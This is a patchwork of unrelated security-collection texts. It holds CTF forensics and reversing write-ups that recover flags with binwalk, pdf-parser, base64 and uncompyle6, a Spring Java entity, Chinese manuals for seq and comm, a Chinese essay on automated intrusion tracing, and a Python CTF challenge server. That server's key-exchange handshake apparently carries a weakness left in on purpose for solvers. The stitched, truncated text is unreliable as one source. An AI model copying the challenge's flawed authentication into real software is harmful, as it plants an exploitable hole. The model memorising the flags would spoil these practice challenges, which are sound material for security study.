compression 3428883 0x345213 Zlib compressed data, default compression 3430685 0x34591D Zip archive data, at least v2.0 to extract, compressed size: 217, uncompressed size: 573, name: _rels/.rels 3430943 0x345A1F Zip archive data, at least v2.0 to extract, compressed size: 288, uncompressed size: 511, name: docProps/app.xml 3431277 0x345B6D Zip archive data, at least v2.0 to extract, compressed size: 356, uncompressed size: 731, name: docProps/core.xml 3431680 0x345D00 Zip archive data, at least v2.0 to extract, compressed size: 222, uncompressed size: 663, name: word/_rels/document.xml.rels 3431960 0x345E18 Zip archive data, at least v2.0 to extract, compressed size: 165, uncompressed size: 208, name: word/settings.xml 3432172 0x345EEC Zip archive data, at least v2.0 to extract, compressed size: 297, uncompressed size: 918, name: word/fontTable.xml 3432517 0x346045 Zip archive data, at least v2.0 to extract, compressed size: 83172, uncompressed size: 84725, name: word/media/image1.png 3515768 0x35A578 Zip archive data, at least v2.0 to extract, compressed size: 1138, uncompressed size: 4099, name: word/document.xml 3516953 0x35AA19 Zip archive data, at least v2.0 to extract, compressed size: 605, uncompressed size: 2192, name: word/styles.xml 3517603 0x35ACA3 Zip archive data, at least v2.0 to extract, compressed size: 352, uncompressed size: 1443, name: [Content_Types].xml 3518004 0x35AE34 Zip archive data, at least v1.0 to extract, compressed size: 20, uncompressed size: 20, name: not_the_flag.txt 3518847 0x35B17F End of Zip archive, footer length: 22 root@kali:/media/sf_CTFs/tamu/I_heard_you_like_files# cd _art.png.extracted/ root@kali:/media/sf_CTFs/tamu/I_heard_you_like_files/_art.png.extracted# file * 0: PNG image data, 1920 x 1080, 8-bit/color RGBA, non-interlaced 340301: PDF document, version 1.5 340348: ASCII text, with very long lines 340348.zlib: Zip archive data, 3\213\356.p\200.\212\356z\333]\201\336M\377~-\276DJ\262\2229(\0160g&\222(\212\342\343#\305\0147w\371\357\307\177.\303e\270\015~\271\314\316\335\326\350.q\305\377\377\370\375\343\257\177\272\374\033g\034\377\376\370\327\307\347\317\217i\276-\227\350\307\313\317\177\\376\374\345. 3410EE: TrueType Font data, 12 tables, 1st "cmap", 15 names, Microsoft, language 0x409, Copyright 2015 Google Inc. All Rights Reserved.Noto SansRegular2.000;GOOG;NotoSans-RegularNoto 3410EE.zlib: Zip archive data 342C43: ASCII text 342C43.zlib: Zip archive data 342F5A: TrueType Font data, 12 tables, 1st "cmap", 26 names, Macintosh, Copyright (c) 2003 by Bitstream, Inc. All Rights Reserved. 342F5A.zlib: Zip archive data, `r1!` 345213: ASCII text 345213.zlib: Zip archive data 34591D: Microsoft Word 2007+ 35B17F: Zip archive data (empty) ``` We have a PDF file, some text files, some zip files, some fonts and a Word file. The text files are the easiest to look at, but nothing interesting is found there. Let's peek into the zip files: ```console root@kali:/media/sf_CTFs/tamu/I_heard_you_like_files/_art.png.extracted# for file in `ls *.zlib`; do 7z l $file; done 7-Zip [64] 16.02 : Copyright (c) 1999-2016 Igor Pavlov : 2016-05-21 p7zip Version 16.02 (locale=en_IL,Utf16=on,HugeFiles=on,64 bits,1 CPU Intel(R) Core(TM) i5-4330M CPU @ 2.80GHz (306C3),ASM,AES-NI) Scanning the drive for archives: 1 file, 110157 bytes (108 KiB) Listing archive: 340348.zlib -- Path = 340348.zlib Type = zip Offset = 21973 Physical Size = 88184 Date Time Attr Size Compressed Name ------------------- ----- ------------ ------------ ------------------------ 2018-09-20 21:00:00 ..... 573 217 _rels/.rels 2018-09-20 21:00:00 ..... 511 288 docProps/app.xml 2018-09-20 21:00:00 ..... 731 356 docProps/core.xml 2018-09-20 21:00:00 ..... 663 222 word/_rels/document.xml.rels 2018-09-20 21:00:00 ..... 208 165 word/settings.xml 2018-09-20 21:00:00 ..... 918 297 word/fontTable.xml 2018-09-20 23:11:40 ..... 84725 83172 word/media/image1.png 2018-09-20 21:00:00 ..... 4099 1138 word/document.xml 2018-09-20 21:00:00 ..... 2192 605 word/styles.xml 2018-09-20 21:00:00 ..... 1443 352 [Content_Types].xml 2018-09-20 23:05:40 ..... 20 20 not_the_flag.txt ------------------- ----- ------------ ------------ ------------------------ 2018-09-20 23:11:40 96083 86832 11 files 7-Zip [64] 16.02 : Copyright (c) 1999-2016 Igor Pavlov : 2016-05-21 p7zip Version 16.02 (locale=en_IL,Utf16=on,HugeFiles=on,64 bits,1 CPU Intel(R) Core(TM) i5-4330M CPU @ 2.80GHz (306C3),ASM,AES-NI) Scanning the drive for archives: 1 file, 106663 bytes (105 KiB) Listing archive: 3410EE.zlib -- Path = 3410EE.zlib Type = zip Offset = 18479 Physical Size = 88184 Date Time Attr Size Compressed Name ------------------- ----- ------------ ------------ ------------------------ 2018-09-20 21:00:00 ..... 573 217 _rels/.rels 2018-09-20 21:00:00 ..... 511 288 docProps/app.xml 2018-09-20 21:00:00 ..... 731 356 docProps/core.xml 2018-09-20 21:00:00 ..... 663 222 word/_rels/document.xml.rels 2018-09-20 21:00:00 ..... 208 165 word/settings.xml 2018-09-20 21:00:00 ..... 918 297 word/fontTable.xml 2018-09-20 23:11:40 ..... 84725 83172 word/media/image1.png 2018-09-20 21:00:00 ..... 4099 1138 word/document.xml 2018-09-20 21:00:00 ..... 2192 605 word/styles.xml 2018-09-20 21:00:00 ..... 1443 352 [Content_Types].xml 2018-09-20 23:05:40 ..... 20 20 not_the_flag.txt ------------------- ----- ------------ ------------ ------------------------ 2018-09-20 23:11:40 96083 86832 11 files 7-Zip [64] 16.02 : Copyright (c) 1999-2016 Igor Pavlov : 2016-05-21 p7zip Version 16.02 (locale=en_IL,Utf16=on,HugeFiles=on,64 bits,1 CPU Intel(R) Core(TM) i5-4330M CPU @ 2.80GHz (306C3),ASM,AES-NI) Scanning the drive for archives: 1 file, 99666 bytes (98 KiB) Listing archive: 342C43.zlib -- Path = 342C43.zlib Type = zip Offset = 11482 Physical Size = 88184 Date Time Attr Size Compressed Name ------------------- ----- ------------ ------------ ------------------------ 2018-09-20 21:00:00 ..... 573 217 _rels/.rels 2018-09-20 21:00:00 ..... 511 288 docProps/app.xml 2018-09-20 21:00:00 ..... 731 356 docProps/core.xml 2018-09-20 21:00:00 ..... 663 222 word/_rels/document.xml.rels 2018-09-20 21:00:00 ..... 208 165 word/settings.xml 2018-09-20 21:00:00 ..... 918 297 word/fontTable.xml 2018-09-20 23:11:40 ..... 84725 83172 word/media/image1.png 2018-09-20 21:00:00 ..... 4099 1138 word/document.xml 2018-09-20 21:00:00 ..... 2192 605 word/styles.xml 2018-09-20 21:00:00 ..... 1443 352 [Content_Types].xml 2018-09-20 23:05:40 ..... 20 20 not_the_flag.txt ------------------- ----- ------------ ------------ ------------------------ 2018-09-20 23:11:40 96083 86832 11 files 7-Zip [64] 16.02 : Copyright (c) 1999-2016 Igor Pavlov : 2016-05-21 p7zip Version 16.02 (locale=en_IL,Utf16=on,HugeFiles=on,64 bits,1 CPU Intel(R) Core(TM) i5-4330M CPU @ 2.80GHz (306C3),ASM,AES-NI) Scanning the drive for archives: 1 file, 98875 bytes (97 KiB) Listing archive: 342F5A.zlib -- Path = 342F5A.zlib Type = zip Offset = 10691 Physical Size = 88184 Date Time Attr Size Compressed Name ------------------- ----- ------------ ------------ ------------------------ 2018-09-20 21:00:00 ..... 573 217 _rels/.rels 2018-09-20 21:00:00 ..... 511 288 docProps/app.xml 2018-09-20 21:00:00 ..... 731 356 docProps/core.xml 2018-09-20 21:00:00 ..... 663 222 word/_rels/document.xml.rels 2018-09-20 21:00:00 ..... 208 165 word/settings.xml 2018-09-20 21:00:00 ..... 918 297 word/fontTable.xml 2018-09-20 23:11:40 ..... 84725 83172 word/media/image1.png 2018-09-20 21:00:00 ..... 4099 1138 word/document.xml 2018-09-20 21:00:00 ..... 2192 605 word/styles.xml 2018-09-20 21:00:00 ..... 1443 352 [Content_Types].xml 2018-09-20 23:05:40 ..... 20 20 not_the_flag.txt ------------------- ----- ------------ ------------ ------------------------ 2018-09-20 23:11:40 96083 86832 11 files 7-Zip [64] 16.02 : Copyright (c) 1999-2016 Igor Pavlov : 2016-05-21 p7zip Version 16.02 (locale=en_IL,Utf16=on,HugeFiles=on,64 bits,1 CPU Intel(R) Core(TM) i5-4330M CPU @ 2.80GHz (306C3),ASM,AES-NI) Scanning the drive for archives: 1 file, 89986 bytes (88 KiB) Listing archive: 345213.zlib -- Path = 345213.zlib Type = zip Offset = 1802 Physical Size = 88184 Date Time Attr Size Compressed Name ------------------- ----- ------------ ------------ ------------------------ 2018-09-20 21:00:00 ..... 573 217 _rels/.rels 2018-09-20 21:00:00 ..... 511 288 docProps/app.xml 2018-09-20 21:00:00 ..... 731 356 docProps/core.xml 2018-09-20 21:00:00 ..... 663 222 word/_rels/document.xml.rels 2018-09-20 21:00:00 ..... 208 165 word/settings.xml 2018-09-20 21:00:00 ..... 918 297 word/fontTable.xml 2018-09-20 23:11:40 ..... 84725 83172 word/media/image1.png 2018-09-20 21:00:00 ..... 4099 1138 word/document.xml 2018-09-20 21:00:00 ..... 2192 605 word/styles.xml 2018-09-20 21:00:00 ..... 1443 352 [Content_Types].xml 2018-09-20 23:05:40 ..... 20 20 not_the_flag.txt ------------------- ----- ------------ ------------ ------------------------ 2018-09-20 23:11:40 96083 86832 11 files ``` They all look like word documents (a word document is actually just a zip file) but have different physical sizes. The content of the archive, though, seems to be similar to the other file identified as a Word file: ```console root@kali:/media/sf_CTFs/tamu/I_heard_you_like_files/_art.png.extracted# 7z l 34591D 7-Zip [64] 16.02 : Copyright (c) 1999-2016 Igor Pavlov : 2016-05-21 p7zip Version 16.02 (locale=en_IL,Utf16=on,HugeFiles=on,64 bits,1 CPU Intel(R) Core(TM) i5-4330M CPU @ 2.80GHz (306C3),ASM,AES-NI) Scanning the drive for archives: 1 file, 88184 bytes (87 KiB) Listing archive: 34591D -- Path = 34591D Type = zip Physical Size = 88184 Date Time Attr Size Compressed Name ------------------- ----- ------------ ------------ ------------------------ 2018-09-20 21:00:00 ..... 573 217 _rels/.rels 2018-09-20 21:00:00 ..... 511 288 docProps/app.xml 2018-09-20 21:00:00 ..... 731 356 docProps/core.xml 2018-09-20 21:00:00 ..... 663 222 word/_rels/document.xml.rels 2018-09-20 21:00:00 ..... 208 165 word/settings.xml 2018-09-20 21:00:00 ..... 918 297 word/fontTable.xml 2018-09-20 23:11:40 ..... 84725 83172 word/media/image1.png 2018-09-20 21:00:00 ..... 4099 1138 word/document.xml 2018-09-20 21:00:00 ..... 2192 605 word/styles.xml 2018-09-20 21:00:00 ..... 1443 352 [Content_Types].xml 2018-09-20 23:05:40 ..... 20 20 not_the_flag.txt ------------------- ----- ------------ ------------ ------------------------ 2018-09-20 23:11:40 96083 86832 11 files ``` `binwalk` sometimes makes mistakes when extracting files, it might be reasonable to assume for now that the multiple zip files should in fact just have been the Word file. Since the word file contains a file names "not_the_flag.txt", that looks like a good place to look. ``` root@kali:/media/sf_CTFs/tamu/I_heard_you_like_files/_art.png.extracted# 7z e -o_34591D 34591D 7-Zip [64] 16.02 : Copyright (c) 1999-2016 Igor Pavlov : 2016-05-21 p7zip Version 16.02 (locale=en_IL,Utf16=on,HugeFiles=on,64 bits,1 CPU Intel(R) Core(TM) i5-4330M CPU @ 2.80GHz (306C3),ASM,AES-NI) Scanning the drive for archives: 1 file, 88184 bytes (87 KiB) Extracting archive: 34591D -- Path = 34591D Type = zip Physical Size = 88184 Everything is Ok Files: 11 Size: 96083 Compressed: 88184 root@kali:/media/sf_CTFs/tamu/I_heard_you_like_files/_art.png.extracted# cd _34591D/ root@kali:/media/sf_CTFs/tamu/I_heard_you_like_files/_art.png.extracted/_34591D# cat not_the_flag.txt Sorry, no flag here ``` So indeed, no flag there. We also have another PNG hiding in the file, let's inspect it: ```console root@kali:/media/sf_CTFs/tamu/I_heard_you_like_files/_art.png.extracted/_34591D# file image1.png image1.png: PNG image data, 300 x 168, 8-bit colormap, non-interlaced root@kali:/media/sf_CTFs/tamu/I_heard_you_like_files/_art.png.extracted/_34591D# pngcheck image1.png image1.png additional data after IEND chunk ERROR: image1.png root@kali:/media/sf_CTFs/tamu/I_heard_you_like_files/_art.png.extracted/_34591D# binwalk --dd=".*" image1.png DECIMAL HEXADECIMAL DESCRIPTION -------------------------------------------------------------------------------- 0 0x0 PNG image, 300 x 168, 8-bit colormap, non-interlaced 410 0x19A Zlib compressed data, default compression 5253 0x1485 PDF document, version: "1.5" 5324 0x14CC Zlib compressed data, default compression 5686 0x1636 JPEG image data, JFIF standard 1.01 75471 0x126CF Zlib compressed data, default compression 83009 0x14441 Zlib compressed data, default compression ``` Now we have a PDF document and a JPEG file. The ZLIB files won't open correctly. The description mentions PDFs as the culprit's expertise. The PDF file opens correctly, but Didier Stevens has a [tool](https://blog.didierstevens.com/2009/05/14/malformed-pdf-documents/) that can inspect PDF files and find malformed elements - these parts are printed with a "todo" prefix. ```console root@kali:/media/sf_CTFs/tamu/I_heard_you_like_files# mkdir pdfs root@kali:/media/sf_CTFs/tamu/I_heard_you_like_files# cd pdfs root@kali:/media/sf_CTFs/tamu/I_heard_you_like_files/pdfs# cp _art.png.extracted/340301 . root@kali:/media/sf_CTFs/tamu/I_heard_you_like_files/pdfs# cp _art.png.extracted/_34591D/_image1.png.extracted/1485 . root@kali:/media/sf_CTFs/tamu/I_heard_you_like_files/pdfs# file * 1485: PDF document, version 1.5 340301: PDF document, version 1.5 root@kali:/media/sf_CTFs/tamu/I_heard_you_like_files/pdfs# python ~/utils/pdftools/pdf-parser.py -v 1485 | grep "todo" todo 10: 3 'ZmxhZ3tQMGxZdEByX0QwX3kwdV9HM3RfSXRfTjB3P30K' ``` This actually looks like base64: ``` root@kali:/media/sf_CTFs/tamu/I_heard_you_like_files/pdfs# python ~/utils/pdftools/pdf-parser.py -v 1485 | grep "todo" | awk '{ printf $4 }' | tr -d "'" | base64 -d flag{P0lYt@r_D0_y0u_G3t_It_N0w?} ```
sec-knowleage
/* * Copyright 2015 the original author or authors. * * Licensed under the Apache License, Version 2.0 (the "License"); * you may not use this file except in compliance with the License. * You may obtain a copy of the License at * * http://www.apache.org/licenses/LICENSE-2.0 * * Unless required by applicable law or agreed to in writing, software * distributed under the License is distributed on an "AS IS" BASIS, * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. * See the License for the specific language governing permissions and * limitations under the License. */ package example.springdata.rest.headers; import java.time.LocalDateTime; import javax.persistence.CascadeType; import javax.persistence.Entity; import javax.persistence.EntityListeners; import javax.persistence.GeneratedValue; import javax.persistence.Id; import javax.persistence.OneToOne; import javax.persistence.Version; import lombok.Data; import lombok.RequiredArgsConstructor; import org.springframework.data.annotation.LastModifiedDate; import org.springframework.data.jpa.domain.support.AuditingEntityListener; import com.fasterxml.jackson.annotation.JsonIgnore; /** * Aggregate root representing a customer. * * @author Oliver Gierke * @soundtrack The Intersphere - Out of phase (Live at Alte Feuerwache Mannheim) */ @Entity @Data @RequiredArgsConstructor @EntityListeners(AuditingEntityListener.class) public class Customer { private @GeneratedValue @Id Long id; private @Version Long version; private @JsonIgnore @LastModifiedDate LocalDateTime lastModifiedDate; public final String firstname, lastname; public final Gender gender; @OneToOne(cascade = CascadeType.ALL, orphanRemoval = true)// public final Address address; Customer() { this.firstname = null; this.lastname = null; this.address = null; this.gender = null; } static enum Gender { MALE, FEMALE; } }
sec-knowleage
#!/usr/bin/env python3 from binascii import hexlify from binascii import unhexlify import logging import sys import os from curve25519 import Private, Public import nacl.secret import hmac import hashlib logger = logging.getLogger('challenge') def ReadLine(reader): data = b'' while not data.endswith(b'\n'): cur = reader.read(1) data += cur if cur == b'': return data return data[:-1] def WriteLine(writer, msg): writer.write(msg + b'\n') writer.flush() def ReadBin(reader): return unhexlify(ReadLine(reader)) def WriteBin(writer, data): WriteLine(writer, hexlify(data)) def ComputeProof(key, data): return hmac.new(key, data, digestmod=hashlib.sha256).digest() def VerifyProof(key, data, proof): return hmac.compare_digest(ComputeProof(key, data), proof) def Handshake(password, reader, writer): myPrivateKey = Private() myNonce = os.urandom(32) WriteBin(writer, myPrivateKey.get_public().serialize()) WriteBin(writer, myNonce) theirPublicKey = ReadBin(reader) theirNonce = ReadBin(reader) if myNonce == theirNonce: return None if theirPublicKey in (b'\x00'*32, b'\x01' + (b'\x00' * 31)): return None theirPublicKey = Public(theirPublicKey) sharedKey = myPrivateKey.get_shared_key(theirPublicKey) myProof = ComputeProof(sharedKey, theirNonce + password) WriteBin(writer, myProof) theirProof = ReadBin(reader) if not VerifyProof(sharedKey, myNonce + password, theirProof): return None return sharedKey def Server(password, flag, reader, writer): sharedKey = Handshake(password, reader, writer) if sharedKey is None: WriteLine(writer, b'Error: nope.') return 1 mySecretBox = nacl.secret.SecretBox(sharedKey) WriteBin(writer, mySecretBox.encrypt(b"AUTHENTICATED")) while 1: cmd = mySecretBox.decrypt(ReadBin(reader)) if cmd == b'help': rsp = b'help|exit|whoami|getflag' elif cmd == b'exit': return 0 elif cmd == b'whoami': rsp = b'root' elif cmd == b'getflag': rsp = flag else: return 1 WriteBin(writer, mySecretBox.encrypt(rsp)) def Client(password, reader, writer): sharedKey = Handshake(password, reader, writer) if sharedKey is None: WriteLine(writer, b'Error: nope.') return 1 mySecretBox = nacl.secret.SecretBox(sharedKey) line = mySecretBox.decrypt(ReadBin(reader)) if line != b"AUTHENTICATED": WriteLine(writer, b'Error: nope.') return 1 WriteBin(writer, mySecretBox.encrypt(b"whoami")) line = mySecretBox.decrypt(ReadBin(reader)) if line != b'root': return 1 WriteBin(writer, mySecretBox.encrypt(b"exit")) return 0 def Challenge(password, flag, reader, writer): try: server_or_client = ReadLine(reader) is_server = server_or_client[0] in b'sS' is_client = server_or_client[0] in b'cC' if is_server: return Server(password, flag, reader, writer) elif is_client: return Client(password, reader, writer) else: WriteLine(writer, b'Error: Select if you want to speak to the (s)erver or (c)lient.') return 1 except Exception as e: WriteLine(writer, b'Error') return 1 def main(): logging.basicConfig(stream=sys.stderr, level=logging.DEBUG) password, flag = map(lambda f: open(f, 'rb').read().strip(), sys.argv[1:3]) assert(flag.startswith(b'CTF{') and flag.endswith(b'}')) return Challenge(password, flag, sys.stdin.buffer, sys.stdout.buffer) if __name__ == '__main__': sys.exit(main())
sec-knowleage
.\" DO NOT MODIFY THIS FILE! It was generated by help2man 1.48.5. .\"******************************************************************* .\" .\" This file was generated with po4a. Translate the source file. .\" .\"******************************************************************* .TH SEQ 1 2022年9月 "GNU coreutils 9.1" 用户命令 .SH 名称 seq \- 打印数列 .SH 概述 \fBseq\fP [\fI\,选项\/\fP]... \fI\,尾数\/\fP .br \fBseq\fP [\fI\,选项\/\fP]... \fI\,首数 尾数\/\fP .br \fBseq\fP [\fI\,选项\/\fP]... \fI\,首数 增量 尾数\/\fP .SH 描述 .\" Add any additional description here .PP 以增量为步长,打印从首数到尾数的数列。 .PP 必选参数对长短选项同时适用。 .TP \fB\-f\fP, \fB\-\-format\fP=\fI\,格式\/\fP 使用 printf 样式浮点格式 .TP \fB\-s\fP, \fB\-\-separator\fP=\fI\,字符串\/\fP 以指定字符串分隔数据(默认值为\en) .TP \fB\-w\fP, \fB\-\-equal\-width\fP 在数据前填充零以使之等宽 .TP \fB\-\-help\fP 显示此帮助信息并退出 .TP \fB\-\-version\fP 显示版本信息并退出 .PP 首数和增量的默认值为1。注意,在尾数小于首数的时候,增量默认值仍旧是1。数列生成的终止条件是当前数值与增量的和大于尾数。首数,增量和尾数都被视为浮点数。通常情况下,若首数小于尾数,增量应当用正值;若首数大于尾数,增量应当用负值。增量不能为0;首数、尾数和增量均不能为非数字。若给定格式字符串,它必须满足打印"double" 类型的参数;如果首数、尾数和增量都是精度最高为 PREC 的定点十进制数,则指定的默认格式是 %.PRECf,否则为 %g。 .SH 作者 由 Ulrich Drepper 编写。 .SH 报告错误 GNU coreutils 的在线帮助: <https://www.gnu.org/software/coreutils/> .br 请向 <https://translationproject.org/team/zh_CN.html> 报告翻译错误。 .SH 版权 Copyright \(co 2022 Free Software Foundation, Inc. License GPLv3+: GNU GPL version 3 or later <https://gnu.org/licenses/gpl.html>. .br 本软件是自由软件:您可以自由修改和重新发布它。在法律允许的范围内,不提供任何保证。 .SH 参见 完整文档请见: <https://www.gnu.org/software/coreutils/seq> .br 或者在本地使用: info \(aq(coreutils) seq invocation\(aq
sec-knowleage
comm === 按行比较两个已排序的文件。 ## 概要 ```shell comm [OPTION]... FILE1 FILE2 ``` ## 主要用途 - 按行比较两个已排序的文件。 - 当`FILE1`或`FILE2`为`-`时,读取标准输入。 - 无选项时输出三列,第一列为`FILE1`独有的行,第二列为`FILE2`独有的行,第三列为`FILE1`,`FILE2`共有的行。 ## 选项 ```shell -1 不输出第一列。 -2 不输出第二列。 -3 不输出第三列。 --check-order 检查输入行是否正确的排序,即使它们确实是已排序过的。 --nocheck-order 不检查输入行是否正确的排序。 --output-delimiter=STR 使用STR作为输出列之间的分隔符而不是默认的TAB。 --total 额外地增加第四列输出概要。 -z, --zero-terminated 设置行终止符为NUL(空),而不是换行符。 --help 显示帮助信息并退出。 --version 显示版本信息并退出。 ``` ## 返回值 返回0表示成功,返回非0值表示失败。 ## 例子 文本 `aaa.txt` 内容 ```shell [root@localhost text]# cat aaa.txt aaa bbb ccc ddd eee 111 222 ``` 文本 `bbb.txt` 内容 ```shell [root@localhost text]# cat bbb.txt bbb ccc aaa hhh ttt jjj ``` 比较结果 ```shell [root@localhost text]# comm --nocheck-order aaa.txt bbb.txt aaa bbb ccc aaa ddd eee 111 222 hhh ttt jjj ``` 输出的第一列只包含在aaa.txt中出现的行,第二列包含在bbb.txt中出现的行,第三列包含在aaa.txt和bbb.txt中相同的行。各列之间以制表符(\t)作为分隔符。 ### 比较排序过的文档 先通过 sort 将文件内容排序: ```shell [root@localhost ~]# sort aaa.txt > aaa1.txt [root@localhost ~]# sort bbb.txt > bbb1.txt ``` 比较结果: ```shell [root@localhost ~]# comm aaa1.txt bbb1.txt 111 222 aaa bbb ccc ddd eee hhh jjj ttt ``` ### 交集 打印两个文件的交集,需要删除第一列和第二列: ```shell [root@localhost text]# comm aaa.txt bbb.txt -1 -2 bbb ccc ``` ### 差集 通过删除不需要的列,可以得到aaa.txt和bbb.txt的差集: aaa.txt的差集 ```shell [root@localhost text]# comm aaa.txt bbb.txt -2 -3 aaa ddd eee 111 222 ``` bbb.txt的差集 ```shell [root@localhost text]# comm aaa.txt bbb.txt -1 -3 aaa hhh ttt jjj ``` ### 注意 1. 该命令是`GNU coreutils`包中的命令,相关的帮助信息请查看`man -s 1 comm`,`info coreutils 'comm invocation'`。
sec-knowleage
# 工程化实战思路 本篇整理了在安全数据分析方向的工程化实战思路。 ## 思路一:云环境自动化入侵溯源实战 整理自阿里云安全工程师 徐越师傅的KCon分享[1]。 ### 如何评估 > 响应速度是企业安全能力的核心体现 简单来看,安全数据分析的落地,时常遇到理想很丰满,现实很骨感的情况。从企业安全角度出发,能提升响应速度是关键。 ### 现状分析 企业安全的中心,SoC的安全运营过程中遇到的问题有: - 数据缺失 - 该有的没有,不该有的一大堆 - 系统孤立 - 告警、流量、情报、主机各个系统都有自己独立的一套,并且输出的数据都不相同 - 人工检索 - 还是依靠人工来排查上述那些系统的数据 ### 需求 - 多途径数据收集 —— 从多个系统和设备中获取数据 - 异构数据整合 —— 不一样格式的数据能放一块 - 自动化的知识表达 —— 人看得懂,人看得了,人能偷懒点 ### Demo ![](https://image-host-toky.oss-cn-shanghai.aliyuncs.com/20200719221622.png) 从Demo中可以看出来,这个系统还是属于初级阶段,节点属性不是很丰富,主要是做了哈希摘要和类型识别。从左侧可以看出,其整合了多个系统数据源,并在这个云环境下,实现了一个挖矿程序的路径溯源。 在数据层面如何实现?猜测可能还是从挖矿程序的算法特征结合源IP进行的关联、匹配得出。 ### 计算流程 ![](https://image-host-toky.oss-cn-shanghai.aliyuncs.com/20200719222328.png) 从图中可以看出,数据源来自:情报、主机日志、云服务、漏洞检测、蜜罐。 流计算引擎采用了Blink(阿里魔改的Flink)。 然后进行了大数据处理常用的构成、便利、裁剪等过程,比较模糊。图算法的关联? 最后是输出一个可交互的溯源后攻击路径。 ### 核心概念 #### 行为过程 在这个思路里,以黑客**行为**为基准,然后使用实体表述,以描述入侵的完整过程。 <img src="https://image-host-toky.oss-cn-shanghai.aliyuncs.com/20200719223112.png" style="zoom:50%;" /> #### 被动分析 主要指基于攻击后的日志信息,进行攻击路径上每个环节下数据的关联。简单讲,就是每个攻击环节下留下来的数据,找到之间的关系,能关联起来。这个阶段主要是基于规则进行的自动化处理。 <img src="https://image-host-toky.oss-cn-shanghai.aliyuncs.com/20200719223812.png" style="zoom:50%;" /> #### 主动推理 主动关系推理,需要专家经验加入,对攻击路径进行的一系列关系探索。 - 相似字符串匹配 - 全局统计基线 - 巨雷重合检验 ![](https://image-host-toky.oss-cn-shanghai.aliyuncs.com/20200719224052.png) #### 断链修复 有经验的同学看到上面的路径方案,就会想到,依靠算法和部分专家经验,这种攻击路径的准确率比较感人。而且容易存在断链的情况。一下是徐越师傅这边给出的**关联规则挖掘**方案。 ![](https://image-host-toky.oss-cn-shanghai.aliyuncs.com/20200719232323.png) ### 案例 以下是一个watchbog 蠕虫回溯案例 ![](https://image-host-toky.oss-cn-shanghai.aliyuncs.com/20200719230054.png) ### 辅助 #### 宏观入侵原因统计 从宏观角度统计全网(按月)的各种入侵原因,从各个威胁类型角度。e.g. 挖矿程序植入方式、WEBSHELL植入方式。 #### 自动化0day捕获 需要依赖强大的数据源支撑以及...运气。 ## 思路二:基于事件调查的分析能力提升 在实际的情况下,各种安全设备、系统会产生海量的数据。对于企业来说,很重要的一件事情,就是要从这些疑似的安全告警中,根据一些模型和算法提取有价值的安全事件。 众所周知,传统的安全设备,往往都是以特征检查为主,模型检查的能力受限(短时间窗口),也比较弱。那么,在这个基础之上,我们需要做的一件事,就可以是写好确定的分析模型,这个分析模型需要结合安全方面的专家经验,也需要结合数据分析、机器学习学习技术(比如异常检测)。 模型可以帮助我们以一个效率更高的方式对告警数据做一个初步的判断,把人工经验转化为了机器脚本去执行。但模型偏向于的单个能力的检查。比如模型能检查钓鱼邮件行为,但却不能梳理出一个APT事件。因为对于模型,我们的定义是让其做好特征检查做不到的事情,但没有要求它能到一个完整事件的梳理。 此时我们就可以引入分析能力这个概念。分析能力所涵盖的事情,是基于事件而设计的,而不是单个能力的检查。在基于数据驱动的应急响应过程中,分析师所需要做的,简单来说就是从数据(告警、流量等)中找到一个真实的入侵事件,而事件包含的内容则可以参考3W1H(Who When What How)。而这个找3W1H的过程,我们在经过特征、模型这两个阶段后,已经能对单方面攻击行为有一个初步的筛选了,比如某某IP在某某时间,对某某资产进行了XXX攻击。也就是,经过了特征和模型两个阶段,我们对3W初步进行了解决。但还剩下1H,攻击者是如何做到这个攻击的,并且要对3W做更精准的研判。 此时,我们的分析平台就可以来亮相了。分析平台单从技术上来说,它应该具备上面我们所受的分析能力,并且这是它的核心。同时,作为一个与用户直接接触的平台,它还承担着业务能力、管理能力等其他产品方向的功能。 那么,分析平台的分析能力如何体现呢? 我们先来看一个人类分析师需要做哪些事情。首先,他需要对入侵事件进行调查,这是首要的。入侵调查后,我们可以得出一个围绕3W1H的报告。然后,他需要 基于这个事件做一个风险点识别(从更大的角度,哪里出的问题体现了系统的哪个方面有问题),做一个风险处置(如何让这个风险点不再造成危害)。 回到我们刚刚到问题,分析平台的分析能力,应该如何区别于特征和模型呢?对应上面对人类分析师所做之事的简单概括,我们可以知道,分析能力这项核心能力的体现,是要在一个更大的层面,即不再局限于某个事件,而是把多个事件整合起来,产出**Knowledge**。这个Knowledge可以由很多形式展现,以下列举几个我个人认为的: - 同源分析 - 事件归并 - 攻击评估 - 攻击者画像 - 攻击者能力 - 攻击者行为 - TTPs(技战术组合)提炼 - 威胁趋势、预测 - 威胁狩猎 所以,我们基于事件调查所进行的分析能力提升,总体来说是这三个阶段:特征——模型——分析。目前,特征阶段已经比较成熟,但覆盖率和精准率还有待提升。模型阶段,目前比较好的方案是结合安全方面专家能力和机器学习算法,在某个攻击行为上,检测的覆盖率和精准率已经挺不错了,但因为攻击、漏洞的千变万化,以及各种组合和绕过,网络环境和生产环境的错综复杂,使得复杂情况下的检测情况不是很完美。而分析阶段,目前不管是商业化的还是开源的,还是学术届的研究,只能说是一个对分析师的辅助,大多是工具性质,只能进行半自动化的利用。 未来就在眼前,把握机会。 ## References [1] 云环境自动化入侵溯源实战》,KCon 2019, [[slides\]](https://link.zhihu.com/?target=https%3A//static.cdxy.me/201908-%E4%BA%91%E7%8E%AF%E5%A2%83%E8%87%AA%E5%8A%A8%E5%8C%96%E5%85%A5%E4%BE%B5%E6%BA%AF%E6%BA%90%E5%AE%9E%E6%88%98-KCon.pdf)
sec-knowleage
# Snakes over cheese Reversing, 100 points ## Description: > What kind of file is this? A *.pyc file was attached. ## Solution: PYC files are compiled Python. Let's decompile the file: ```console root@kali:/media/sf_CTFs/tamu/Snakes_over_cheese# uncompyle6 reversing2.pyc # uncompyle6 version 3.2.5 # Python bytecode 2.7 (62211) # Decompiled from: Python 2.7.15 (default, May 1 2018, 05:55:50) # [GCC 7.3.0] # Embedded file name: reversing2.py # Compiled at: 2018-10-07 22:28:58 from datetime import datetime Fqaa = [102, 108, 97, 103, 123, 100, 101, 99, 111, 109, 112, 105, 108, 101, 125] XidT = [83, 117, 112, 101, 114, 83, 101, 99, 114, 101, 116, 75, 101, 121] def main(): print 'Clock.exe' input = raw_input('>: ').strip() kUIl = '' for i in XidT: kUIl += chr(i) if input == kUIl: alYe = '' for i in Fqaa: alYe += chr(i) print alYe else: print datetime.now() if __name__ == '__main__': main() # okay decompiling reversing2.pyc ``` Logic is pretty straightforward, we can recover the key with the following code: ```python >>> XidT = [83, 117, 112, 101, 114, 83, 101, 99, 114, 101, 116, 75, 101, 121] >>> 